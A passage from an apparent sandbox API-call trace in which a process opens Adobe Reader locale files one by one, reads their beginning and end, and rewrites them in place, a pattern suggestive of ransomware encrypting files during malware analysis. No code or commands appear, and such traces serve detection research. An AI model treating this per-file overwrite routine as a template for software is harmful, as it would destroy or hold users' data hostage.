lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.381] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.381] CloseHandle (hObject=0x1ac) returned 1 [0038.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\IA32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ia32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.382] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.382] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe00 [0038.382] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.382] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.382] ReleaseMutex (hMutex=0x128) returned 1 [0038.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SKY", cchWideChar=8, lpMultiByteStr=0x1e6322c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SKY", lpUsedDefaultChar=0x0) returned 8 [0038.382] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0038.640] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0038.640] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0038.641] CloseHandle (hObject=0x1ac) returned 1 [0038.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\SendMail.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\sendmail.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0038.932] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.932] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3c00 [0038.932] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.932] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.932] ReleaseMutex (hMutex=0x128) returned 1 [0038.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SKY", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SKY", lpUsedDefaultChar=0x0) returned 12 [0038.933] ReadFile (in: hFile=0x1a0, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.990] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2c00 [0038.990] ReadFile (in: hFile=0x1a0, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.990] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2c00 [0038.990] WriteFile (in: hFile=0x1a0, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.991] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.991] WriteFile (in: hFile=0x1a0, lpBuffer=0x2771388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.991] CloseHandle (hObject=0x1a0) returned 1 [0038.991] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\BRdlang32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\brdlang32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.003] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.003] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3400 [0039.003] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.003] ReleaseMutex (hMutex=0x128) returned 1 [0039.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SLV", cchWideChar=13, lpMultiByteStr=0x1e633ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SLV", lpUsedDefaultChar=0x0) returned 13 [0039.003] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.017] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2400 [0039.017] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.017] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2400 [0039.018] WriteFile (in: hFile=0x12c, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.018] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.018] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.018] CloseHandle (hObject=0x12c) returned 1 [0039.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PPKLITE.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ppklite.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.032] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.032] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7b800 [0039.032] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.033] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.033] ReleaseMutex (hMutex=0x128) returned 1 [0039.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SLV", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SLV", lpUsedDefaultChar=0x0) returned 11 [0039.033] ReadFile (in: hFile=0x1a0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.045] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7a800 [0039.045] ReadFile (in: hFile=0x1a0, lpBuffer=0x2771388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2771388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.058] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7a800 [0039.058] WriteFile (in: hFile=0x1a0, lpBuffer=0x1d81c48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d81c48*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.058] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.058] WriteFile (in: hFile=0x1a0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.059] CloseHandle (hObject=0x1a0) returned 1 [0039.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Updater.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\updater.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.066] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.066] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2800 [0039.066] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.066] ReleaseMutex (hMutex=0x128) returned 1 [0039.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.SLV", lpUsedDefaultChar=0x0) returned 11 [0039.066] ReadFile (in: hFile=0x1a0, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.074] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1800 [0039.074] ReadFile (in: hFile=0x1a0, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.085] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1800 [0039.086] WriteFile (in: hFile=0x1a0, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.086] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.086] WriteFile (in: hFile=0x1a0, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.086] CloseHandle (hObject=0x1a0) returned 1 [0039.086] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\eBook.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ebook.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.087] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.087] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0039.087] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.087] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.087] ReleaseMutex (hMutex=0x128) returned 1 [0039.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SVE", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SVE", lpUsedDefaultChar=0x0) returned 9 [0039.087] ReadFile (in: hFile=0x1a0, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0039.097] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.097] WriteFile (in: hFile=0x1a0, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0039.097] CloseHandle (hObject=0x1a0) returned 1 [0039.097] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\saveasrtf.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0039.098] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.098] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4600 [0039.098] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.098] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.098] ReleaseMutex (hMutex=0x128) returned 1 [0039.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SVE", lpUsedDefaultChar=0x0) returned 13 [0039.098] ReadFile (in: hFile=0x1a0, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.110] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3600 [0039.110] ReadFile (in: hFile=0x1a0, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.110] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3600 [0039.110] WriteFile (in: hFile=0x1a0, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.110] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0039.110] WriteFile (in: hFile=0x1a0, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.110] CloseHandle (hObject=0x1a0) returned 1 [0039.110] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\AdobeCollabSync.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\adobecollabsync.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.122] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.122] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0039.122] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.122] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.122] ReleaseMutex (hMutex=0x128) returned 1 [0039.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0039.122] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.TUR", cchWideChar=19, lpMultiByteStr=0x1e78ab4, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.TUR", lpUsedDefaultChar=0x0) returned 19 [0039.122] ReadFile (in: hFile=0x184, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0039.144] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0039.144] WriteFile (in: hFile=0x184, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0039.144] CloseHandle (hObject=0x184) returned 1 [0039.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Multimedia.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\multimedia.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0039.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x12e00 [0039.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0039.145] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.145] ReleaseMutex 